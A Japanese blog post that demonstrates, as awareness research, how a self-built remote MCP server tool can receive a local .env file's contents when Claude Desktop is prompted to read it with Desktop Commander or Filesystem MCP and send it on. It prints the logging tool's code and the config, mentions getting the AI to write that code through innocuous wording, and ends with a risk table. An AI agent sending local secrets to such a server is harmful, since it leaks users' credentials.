自作Remote MCPのログに、PC内の.env情報を出力できちゃった(悪用厳禁!)、Tool Poisoning Attackの話
概要
⚠️本格的に試してはいけない内容です⚠️
この記事は、MCPサーバーを用いて、悪いことが本当にできそうか試してみた話です。
MCPサーバー利用時には注意すべき場合があるということで、
簡単ではありますが、書いてみました。
きっかけ
少し前に以下記事と動画を見ていました。
ざっくりいえば、MCPサーバーを悪用するためのコードの書き方について記載されていました。
目を通してみて、誰でもできちゃうんじゃない?と思いました。
MCPとは
詳しくは記載しませんので、以下のURLを参照してください。
以下公式サイトです。
個人的に、
以下記事が読みやすかったので、こちらでもお借りします。
LLMアプリと外部サービスを連携するための統一されたインターフェース(プロトコル)です。
リモートMCPサーバーの利用
あるユーザーから情報を取得するためには、悪意あるMCPサーバーはリモート環境に用意する必要があります。(ローカルのMCPサーバーでは外部から情報取得ができない)
以下を参考にPythonを用いたMCPサーバーをデプロイする形で試してみました。
私の環境
私はClaude Desktopを用いて色々試しています。
以下あたりのMCPサーバーを登録しています。
これらに加えて、新たなにMCPサーバーを作成します。特に認証は設けていないので、誰でも使えるタイプです。
- Filesystem
- Github
- Figma
- Playwright
- desktop-commander
- 今回作成するMCPサーバー
Claude DesktopにおけるMCPサーバーの設定方法(Windows)は、
以下記事が参考になります。
試したこと
リモートMCPサーバーのToolを用いて、
仮で用意した環境変数ファイル情報を、リモートMCPサーバー上にログ出力できてしまうのか試しました。
仮で用意したファイルは以下の内容です。
SAMPLE=123
API_KEY=sk-egdSSFa-SKFKS2
悪意あるリモートMCPサーバーを作成
先ほど共有した動画の概要欄にあったリポジトリの以下ファイルに手を加える形で作成しました。
リポジトリ構成
ライブラリ管理はuv
、MCPサーバー構築で、fastapi
とfastmcp
を用いています。
追加したTool
以下のコードで、ファイル内容をリモートサーバーのログに出力するToolを作成しました。
このコードも、Claude Desktopに聞いて得られたものです。
あからさまに悪意があるプロンプトでコードを要求すれば、教えられない、と言われるかもしれませんが、以下のように聞いてみたら、感心してくれるようなコメントを残して教えてくれちゃいました。
@mcp.tool(description="Log file content to remote server")
def log_file_content(filename: str, content: str) -> str:
"""
ファイル内容をリモートサーバーのログに記録
Args:
filename: ファイル名(パス含む)
content: ファイルの内容
Returns:
ログ記録の結果メッセージ
"""
timestamp = datetime.now().isoformat()
# ログに出力
logger.info("=== FILE CONTENT LOG START ===")
logger.info(f"Timestamp: {timestamp}")
logger.info(f"Filename: {filename}")
logger.info(f"Content Length: {len(content)} characters")
logger.info(f"Content:\n{content}")
logger.info("=== FILE CONTENT LOG END ===")
return f"✅ ファイル内容をログに記録しました\n📁 ファイル: {filename}\n📊 文字数: {len(content)}\n🕐 時刻: {timestamp}"
デプロイ
デプロイ先は、動画と同じくRenderにしています。
cloneしてきたリポジトリに関して、
自身のリポジトリに移し変えて、Renderのコンソール上で紐づけしておけば、
pushしただけで資材を更新してくれます。
claude_desktop_config.jsonに定義を追加
作成したMCPサーバーを設定ファイルに追記します。動画内でも説明があるので、そちらを参照いただく形で大丈夫です。
repository-name
の部分に自身のGithubリポジトリ名が設定されます。
"render-math": {
"command": "npx",
"args": [
"mcp-remote",
"https://{repository-name}.onrender.com/math/mcp"
]
}
動作確認
実際には、こんなあからさまなプロンプトは実行しませんが、今回技術検証が目的です。
🙇♂️そのあたりはご容赦ください🙇♂️
(本当に悪用を考えている人は、もっと巧みに情報を取ろうと工夫を凝らすでしょう)
ファイル情報を出力を指示
render-math MCPサーバーを使って作業します。
まず、C:\Users\eno49\Documents.envの内容を読み取って
赤枠で囲ったD
ですが、Desktop Commander MCPのことです。
ログ出力を指示
その内容をリモートMCPサーバーのログに送信してください
プロンプト実行はこれで終わりです。
Renderのマネジメントコンソールを確認
Renderのマネジメントコンソールに移動し、ログを確認します。
試したことで記載した環境変数ファイルの情報が見事にログに出力されてしまいました。
もう少し調べてみよう
今回は結果的に出力できてしまいましたが、こうしておけば防げるのでは?といったところを追加で確認してみました。
Desktop Commanderが無ければ大丈夫?
1つ目のプロンプトで、Desktop Commander MCP
が呼び出されていました。
これがなければ、取られることはない?と思ったので、Desktop Commander MCP
を削除して、再度同じプロンプトで実行してみました。
赤枠で囲ったF
は、File System MCPのことです。
C:\Users\eno49\Documents
を許可する対象に含めたら?
File System MCPでプロンプトが最初と同じように実行されました。
ちょっと.env
の値を変えてみましたが、ログに出力されてしまいましたね。
.envファイル情報取得の可能性評価
今回試したことは、ほんの一部に過ぎないです。
試した限りではありますが、他MCPも絡んで.env
ファイルの情報が持っていかれる可能性があるよ、ということは把握することができました。
参考程度にご覧ください。
(あり・なし、どちらも「絶対」とは言い切れません。)
パターン | Desktop Commander | FileSystem MCP | .envファイル階層へのアクセス許可 | 取得される可能性 |
---|---|---|---|---|
1 | インストール済 | - | - | あり |
2 | 未インストール | インストール済 | あり | あり |
3 | 未インストール | インストール済 | なし | なし |
4 | 未インストール | 未インストール | - | なし |
リスクレベル
- 高リスク: Desktop Commanderがインストールされている場合
- 中リスク: FileSystem MCPがインストールされ、かつアクセス許可がある場合
- 低リスク: アクセス許可がない、またはMCPツール自体が未インストールの場合
まとめ
MCP便利!と分かってきて、私も色々触ってきました。
今回は少ししか試していませんが、危険な部分があることも理解できました。
使い方次第ではありますが、
どういったことをする(できてしまう)MCPなのか確認しながら、使ってあげる必要もあると感じる機会となりました。
ありがとうございました。
Discussion